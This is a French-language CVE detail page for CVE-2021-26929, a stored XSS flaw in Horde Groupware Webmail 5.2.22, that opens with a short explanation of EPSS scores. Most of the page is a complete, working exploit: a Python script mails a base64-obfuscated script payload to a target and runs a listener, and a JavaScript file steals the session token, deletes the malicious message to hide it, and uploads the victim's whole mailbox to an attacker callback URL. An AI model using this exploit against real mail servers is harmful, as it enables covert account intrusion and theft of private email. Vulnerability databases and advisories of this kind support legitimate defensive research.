CVE-2021-26929 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS # Author: Alex Birnberg # Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty # Date: 04.14.2021 # Vendor: https://www.horde.org/apps/webmail # Link: https://github.com/horde/webmail/releases # CVE: CVE-2021-26929 [+] Exploit Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929 [Exploit Program Code] #!/usr/bin/python3 # Author idea: Alex Birnberg # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging import smtplib import sqlite3 import hashlib import zipfile import argparse from flask import Flask, request, Response from urllib.parse import urlparse class Exploit: def __init__(self, args): # Database if not os.path.exists('database.db'): with sqlite3.connect("database.db") as conn: cursor = conn.cursor() cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);') conn.commit() # SMTP URL o = urlparse(args.smtp) self.smtp = { 'ssl': o.scheme.lower() == 'smtps', 'host': o.hostname or '127.0.0.1', 'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'), 'username': '' or o.username, 'password': '' or o.password } try: if self.smtp['ssl']: context = ssl.create_default_context() context.verify_mode = ssl.CERT_OPTIONAL context.check_hostname = False self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context) else: self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port']) except Exception as e: print(e) print('[-] Error connecting to SMTP server!') exit() try: self.server.login(self.smtp['username'], self.smtp['password']) except: pass # Callback URL o = urlparse(args.callback) self.callback = { 'url': '{}://{}'.format(o.scheme, o.netloc), 'path': ''.join(random.choice(string.ascii_letters) for i in range(20)) } # Listener URL o = urlparse(args.listener) self.listener = { 'ssl': o.scheme.lower() == 'https', 'host': o.hostname or '0.0.0.0', 'port': o.port or 80, 'horde': ''.join(random.choice(string.ascii_letters) for i in range(20)) } # Target email self.target = args.target # Subject self.subject = args.subject or 'Important Message' # Environment self.env = {} self.env['mailbox'] = args.mailbox or 'INBOX' self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path']) def trigger(self): print('[*] Waiting for emails...') self.bypass_auth() print('\n[*] Done') def bypass_auth(self): def horde(): f = open('horde.js') content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read()) f.close() return content def callback(): response = Response('') with sqlite3.connect("database.db") as conn: try: if request.files.get('mbox'): filename = request.files.get('mbox').filename.replace('zip', 'mbox') content = request.files.get('mbox').stream.read() zipdata = io.BytesIO() zipdata.write(content) content = zipfile.ZipFile(zipdata) content = content.open(filename).read() mail_hash = hashlib.sha1(content).digest().hex() print('[+] Received mailbox ({})'.format(mail_hash)) cursor = conn.cursor() cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content)) except: pass response.headers['Access-Control-Allow-Origin'] = '*' return response payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde']) payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1')) content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target) # The secret services :) content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1')) self.server.sendmail(self.smtp['username'], self.target, content) app = Flask(__name__) app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde) app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST']) logging.getLogger('werkzeug').setLevel(logging.ERROR) cli = sys.modules['flask.cli'] cli.show_server_banner = lambda *x: None try: if self.listener['ssl']: app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem')) else: app.run(host=self.listener['host'], port=self.listener['port']) except: pass if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL') parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL') parser.add_argument('--listener', help='Listener URL', metavar='URL') parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL') parser.add_argument('--subject', help='Email subject', metavar='SUBJECT') parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX') args = parser.parse_args() exploit = Exploit(args) exploit.trigger() horde.js class Exploit { constructor() { this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp')); } trigger() { this.mailbox = this.get_mailbox(); this.buid = this.get_buid(); this.token = this.get_token(); this.auto_delete() .then(() => { this.exfiltrate_emails({mailbox: env.mailbox}); }); } async auto_delete() { let params = new URLSearchParams() params.append('token', this.token); params.append('view', this.mailbox); params.append('buid', this.buid); return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', { method: 'POST', body: params }) .then(() => { let params = new URLSearchParams(); params.append('token', this.token); params.append('view', this.mailbox); return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', { method: 'POST', body: params }) .then(() => { if (document.getElementById('checkmaillink') !== null) { document.getElementById('checkmaillink').click(); } }); }); } async exfiltrate_emails(args) { let mbox_list = '["' + this.get_mailbox() + '"]'; if (args.mailbox.toUpperCase() != 'INBOX') { let params = new URLSearchParams(); params.append('reload', '1'); params.append('unsub', '1'); params.append('token', this.token); let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', { method: 'POST', body: params }) .then(response => { return response.text(); }) .then(data => { return JSON.parse(data.substring(10, data.length - 2)); }); mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => { if (mailbox.l.toUpperCase() == args.mailbox) { if (mbox_list === undefined) { mbox_list = '["' + mailbox.m + '"]'; } } }); } let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/') .then(response => { return [response.blob(), response.headers.get('Content-Disposition')]; }); let filename = zip[1]; filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1); zip = await zip[0]; let formData = new FormData(); formData.append('mbox', zip, filename); fetch(window.env.callback, { method: 'POST', body: formData }); } get_token() { let link; let token; if (document.getElementsByClassName('smartmobile-logout').length > 0) { link = document.getElementsByClassName('smartmobile-logout')[0].href; } else if (document.getElementById('horde-logout') !== null) { link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href; } else { link = location.href; } if (link.match('horde_logout_token=(.*)&') !== null) { token = link.match('horde_logout_token=(.*)&')[1]; } if (token === undefined && link.match('token=(.*)&') !== null) { token = link.match('token=(.*)&')[1]; } return token; } get_mailbox() { if (window.DimpBase !== undefined) { return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({ VP_id: { equal: [ DimpBase.pp.VP_id ] } }).get('dataob').first().VP_view; } else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) { return location.href.match('mailbox=([A-Za-z0-9]*)')[1]; } else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) { return location.href.match('mbox=([A-Za-z0-9]*)')[1]; } } get_buid() { if (location.href.match('buid=([0-9]*)') !== null) { return location.href.match('buid=([0-9]*)')[1]; } else if (location.href.match(';([0-9]*)') !== null) { return location.href.match(';([0-9]*)')[1]; } } } const exploit = new Exploit(); exploit.trigger();